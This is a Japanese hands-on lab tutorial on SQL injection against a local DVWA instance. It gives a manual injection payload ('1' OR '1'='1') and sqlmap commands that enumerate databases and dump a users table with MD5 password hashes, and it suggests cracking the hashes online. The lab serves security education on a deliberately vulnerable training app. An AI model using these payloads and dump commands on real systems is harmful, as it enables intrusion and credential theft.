はじめに
この実験では、自動化された SQL インジェクションおよびデータベース乗っ取りツールである sqlmap を使用して、SQL インジェクションの脆弱性を悪用する方法を学びます。sqlmap のインストール、脆弱な Web アプリケーション (DVWA) の設定、および機密データを抽出するためのさまざまな SQL インジェクション攻撃の実行を練習します。
この実験では、インジェクションポイントの特定、データベースクエリの実行、および抽出された情報の分析といった実践的な手法を紹介します。この実践的な演習を通じて、攻撃的なセキュリティテストと防御的な脆弱性評価の両方に必要な重要なスキルを習得することができます。
sqlmap をインストールする
このステップでは、SQL インジェクションの脆弱性を検出して悪用するための人気のあるオープンソースのペネトレーションテストツールである sqlmap をインストールします。SQL インジェクションは、攻撃者がデータベースクエリに干渉できる一般的な Web セキュリティの脆弱性です。sqlmap はこれらの脆弱性の検出と悪用のプロセスを自動化します。
sqlmap は Python で書かれているため、Python のパッケージマネージャである pip を使用してインストールします。pip は Python に付属するツールで、追加の Python パッケージのインストールと管理を支援します。以下の手順に注意深く従ってください。
- まず、デフォルトの作業ディレクトリにいることを確認します。これは、プロジェクトファイルを整理するために重要です。
cd ~/project
- pip を最新バージョンに更新します。pip を最新の状態に保つことで、パッケージの最新バージョンをインストールでき、互換性の問題を回避できます。
pip install --upgrade pip
- pip を使用して sqlmap をインストールします。このコマンドは、Python Package Index (PyPI) から sqlmap とそのすべての依存関係をダウンロードします。
pip install sqlmap
- バージョンを確認することでインストールを検証します。これにより、sqlmap が正しくインストールされていることが確認され、インストールされているバージョンがわかります。
sqlmap --version
以下のような出力が表示されるはずです。
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal...
[xx:xx:xx] [INFO] the back-end DBMS is
sqlmap version: 1.7.x
これで sqlmap が正常にインストールされたことが確認できます。pip はパッケージをユーザーの Python 環境にインストールするため、このツールはシステム全体で利用可能になります。法的な免責事項は、sqlmap はテストする許可を得たシステムでのみ使用すべきであることを思い出させます。
初心者向けの要点:
- pip は Python パッケージのダウンロードとインストールを自動的に処理します。
--upgradeフラグは pip 自体を最新バージョンに更新します。- sqlmap はすべての Python パッケージが格納されている Python の site-packages ディレクトリにインストールされます。
--versionフラグは多くのコマンドラインツールでインストールを検証する標準的な方法です。- 出力には sqlmap のバージョン番号と適切な使用に関する重要な法的情報が表示されます。
脆弱性のある Web アプリケーションをセットアップする
このステップでは、SQL インジェクションの脆弱性を含む「Damn Vulnerable Web Application」(DVWA) という意図的に脆弱な Web アプリケーションをセットアップします。これを sqlmap を使った SQL インジェクション技術の練習用のテスト環境として使用します。DVWA は、セキュリティ専門家や学生が安全で合法的な環境で Web の脆弱性を学ぶために特別に設計されています。
- まず、正しいディレクトリにいることを確認します。
~/projectディレクトリには、すべての実験ファイルを保存します。
cd ~/project
- GitHub から DVWA リポジトリをクローンします。このコマンドで、すべてのアプリケーションファイルがローカルマシンにダウンロードされます。
git clone https://github.com/digininja/DVWA.git
- DVWA ディレクトリに移動します。クローン後、すべてのアプリケーションファイルはこのディレクトリに保存されます。
cd DVWA
- PHP の組み込み Web サーバーを起動します。ポート 8000 を使用するのは、このポートは一般的に利用可能で、他のサービスと競合しないからです。
0.0.0.0は、サーバーが任意のネットワークインターフェイスからの接続を受け付けることを意味します。
php -S 0.0.0.0:8000
サーバーを実行したまま、新しいターミナルタブを開きます(ターミナルを右クリックして「New Tab」を選択)。これにより、Web サーバーを稼働させたまま作業を続けることができます。
新しいタブで、サーバーが正常に動作していることを確認します。
curlコマンドでホームページの内容を取得し、アプリケーションが応答していることを確認します。
curl http://localhost:8000
「Damn Vulnerable Web Application (DVWA)」を含む HTML 出力が表示されるはずです。
初心者向けのコンポーネントの説明:
- DVWA は、学習目的でセキュリティの脆弱性を持つように特別に設計された PHP/MySQL Web アプリケーションです。
- PHP の組み込みサーバー (
php -S) は、開発中に PHP アプリケーションを実行する簡単な方法です。 - ポート 80 が使用できない場合、ポート 8000 は開発サーバーによく使われる代替ポートです。
- アプリケーションはブラウザで http://localhost:8000 からアクセスできます。
注意:実験全体を通じて、最初のターミナルタブでサーバーを実行したままにしておいてください。以降のすべてのステップでこの脆弱なアプリケーションを使用します。誤ってこのタブを閉じた場合は、手順 4 を繰り返してサーバーを再起動する必要があります。
インジェクションポイントを特定する
このステップでは、DVWA (Damn Vulnerable Web Application) の基本的な SQL インジェクションの脆弱性を特定する方法を学びます。これは、sqlmap のような自動化ツールを使用する前の重要な最初のステップです。脆弱性が存在する場所を手動で確認する必要があるからです。
- まず、DVWA サーバーがまだ実行中であることを確認します(手順 2 参照)。実行されていない場合は、再度起動します。
cd ~/project/DVWA && php -S 0.0.0.0:8000
このコマンドは、ポート 8000 で DVWA を実行する PHP Web サーバーを起動します。
- ブラウザで以下の URL を訪問して DVWA を開きます。
http://localhost:8000
- 以下の資格情報でログインします。
Username: admin
Password: password
これらは、テスト目的で DVWA が提供するデフォルトの資格情報です。
セキュリティレベルを「low」に設定します(左メニュー: DVWA Security -> set to Low -> Submit) DVWA にはさまざまなセキュリティレベルがあります。保護機能を排除して基本的な脆弱性を示すために、「low」を使用します。
左メニューから「SQL Injection」に移動します ここで SQL インジェクションの脆弱性をテストします。
User ID フィールドに以下を入力して SQL インジェクションをテストします。
1' OR '1'='1
これは古典的な SQL インジェクションテスト文字列です。分解して説明しましょう。
- シングルクォート (') は元のクエリを閉じます。
- OR '1'='1' は常に真となる条件を追加します。
- これらを組み合わせることで、SQL クエリを操作してすべてのレコードを返すようにします。
- 「Submit」をクリックします。すべてのユーザーレコードが返されるはずで、これはインジェクションが成功したことを示します。 予想以上のデータ(1 人ではなくすべてのユーザー)が表示された場合、インジェクションが機能したことが確認できます。
初心者向けの重要な概念:
- SQL インジェクションは、ユーザー入力が適切なサニタイズなしにデータベースクエリに直接含まれる場合に発生します。
- シングルクォート (') は、意図した SQL クエリ構文から抜け出すためによく使われる文字です。
- 'OR '1'='1' は、常に真となる条件を作成することでこれを悪用する基本的なテストペイロードです。
- 「low」のセキュリティレベルは保護機能を排除するため、脆弱性の学習に集中できます。
この成功したテストは、User ID パラメータが SQL インジェクションに対して脆弱であることを示しています。次のステップでは、この確認された脆弱性ポイントを sqlmap で使用して、より高度な悪用を行います。手動でインジェクションポイントを見つけることは、自動化ツールがどのように動作するかを理解するのに役立ちます。
sqlmap でデータを抽出する
このステップでは、自動化された SQL インジェクションツールである sqlmap を使用して、先ほど特定した脆弱性を悪用します。SQL インジェクションにより攻撃者はデータベースと直接やり取りすることができ、sqlmap はパラメータをテストして情報を抽出することでこのプロセスを自動化します。
- まず、すべてのコマンドを実行するプロジェクトディレクトリにいることを確認します。
cd ~/project
- 脆弱なページに対して sqlmap を実行します。
--cookieパラメータはここで重要です。DVWA は認証が必要だからです。<PHPSESSID>を DVWA にログインしたときに取得したクッキー値に置き換えてください。
sqlmap -u "http://localhost:8000/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=<PHPSESSID>; security=low" --batch
--batch フラグは、sqlmap にデフォルトオプションを自動的に使用するよう指示します。これは、このツールを学ぶ初心者に役立ちます。
sqlmap がセッションを保存するかどうかを尋ねたら、「Y」と入力して Enter キーを押します。これにより、必要に応じて後でスキャンを再開することができます。
サーバー上に存在するデータベースを発見するには、「databases」を意味する
--dbsフラグを使用します。
sqlmap -u "http://localhost:8000/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=<PHPSESSID>; security=low" --dbs --batch
- 出力には利用可能なデータベースが表示されます。2 つのデータベースがリストされているはずです。
available databases [2]:
[*] dvwa
[*] information_schema
dvwa が対象のデータベースで、information_schema はメタデータを含む標準的な MySQL データベースです。
- 次に、dvwa データベース内のテーブルを調べましょう。
-Dパラメータはデータベース名を指定し、--tablesはその内容をリストします。
sqlmap -u "http://localhost:8000/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=<PHPSESSID>; security=low" -D dvwa --tables --batch
主要なパラメータの説明:
--cookie: 認証済みアクセスを維持するためのセッション資格情報を含めます。--batch: デフォルトの選択肢を使用して sqlmap を非対話モードで実行します。--dbs: サーバー上の利用可能なデータベース名を発見します。-D: 調査する特定のデータベースを選択します。--tables: 選択したデータベース内のテーブルのリストを取得します。
取得したデータを分析する
このステップでは、sqlmap が SQL インジェクションを通じて正常に抽出した機密性の高いデータベース情報を調べます。これにより、攻撃者がどのようなデータにアクセスできるかを具体的に示すことで、SQL インジェクション脆弱性の現実的な影響を実証します。
- まず、DVWA データベースの 'users' テーブルからすべてのデータを取得しましょう。このコマンドは、前に行ったことを基にしていますが、今回は具体的に users テーブルを対象にして、資格情報を確認します( をあなたのセッションクッキーに置き換えてください)。
sqlmap -u "http://localhost:8000/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=<PHPSESSID>; security=low" -D dvwa -T users --dump --batch
-D dvwa はデータベースを指定し、-T users は users テーブルを対象にし、--dump はそのすべての内容を取得します。
- 出力には、データベースに保存されている機密性の高いユーザー情報が表示されます。
Database: dvwa
Table: users
[5 entries]
+---------+------------+-----------+---------+----------------------------------+-----------+------------+---------------------+
| user_id | first_name | last_name | user | password | avatar | last_login | failed_login |
+---------+------------+-----------+---------+----------------------------------+-----------+------------+---------------------+
| 1 | admin | admin | admin | 5f4dcc3b5aa765d61d8327deb882cf99 | admin.jpg | NULL | 0 |
| 2 | Gordon | Brown | gordonb | e99a18c428cb38d5f260853678922e03 | gordonb.jpg | NULL | 0 |
| 3 | Hack | Me | 1337 | 8d3533d75ae2c3966d7e0d4fcc69216b | 1337.jpg | NULL | 0 |
| 4 | Pablo | Picasso | pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 | pablo.jpg | NULL | 0 |
| 5 | Bob | Smith | smithy | 5f4dcc3b5aa765d61d8327deb882cf99 | smithy.jpg | NULL | 0 |
+---------+------------+-----------+---------+----------------------------------+-----------+------------+---------------------+
パスワード列には平文のパスワードではなく、MD5 ハッシュが含まれていることに注意してください。これは生のパスワードを保存するよりはましですが、MD5 は暗号学的に破られており、レインボーテーブル攻撃に対して脆弱です。
CrackStation のようなオンラインツールを使用して、ハッシュ値をコピーして貼り付けることで、これらのハッシュをクラックすることができます。これにより、弱いハッシュアルゴリズムが元のパスワードを明らかにするために逆変換できることがわかります。
データベースの完全な構造を理解するために、そのスキーマを取得することができます。
sqlmap -u "http://localhost:8000/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=<PHPSESSID>; security=low" -D dvwa --schema --batch
--schema フラグは、すべてのテーブルとその列構造を明らかにし、攻撃者にデータベース全体のロードマップを提供します。これは、さらなる悪用に非常に貴重な情報です。
初心者向けの重要なポイント:
--dumpパラメータは、指定されたテーブルからすべてのデータを抽出します。- MD5 ハッシュは、多くの場合、事前計算されたレインボーテーブルを使用してクラックできます。
- データベースのスキーマ情報は、攻撃者がデータ構造を理解するのに役立ちます。
- この演習は、単一の SQL インジェクション脆弱性がデータベース全体の侵害につながる可能性があることを示しています。
- パスワードの保存には、常に bcrypt のような強力なソルト付きハッシュアルゴリズムを使用してください。
まとめ
この実験では、pip を使ったインストールとバージョン確認による環境セットアップから始めて、SQL インジェクションテストのために sqlmap をインストールして使用する方法を学びました。この実験では、脆弱性のあるターゲットとして DVWA をデプロイし、ローカルテストサーバーを構築する手順を案内しました。
sqlmap の自動化ツールを使って、SQL インジェクション脆弱性を特定し、データを抽出する練習を行いました。これらの演習では、データベースの脆弱性を検出するための実践的なサイバーセキュリティテスト手法を示しながら、重要なコマンドライン操作をカバーしました。



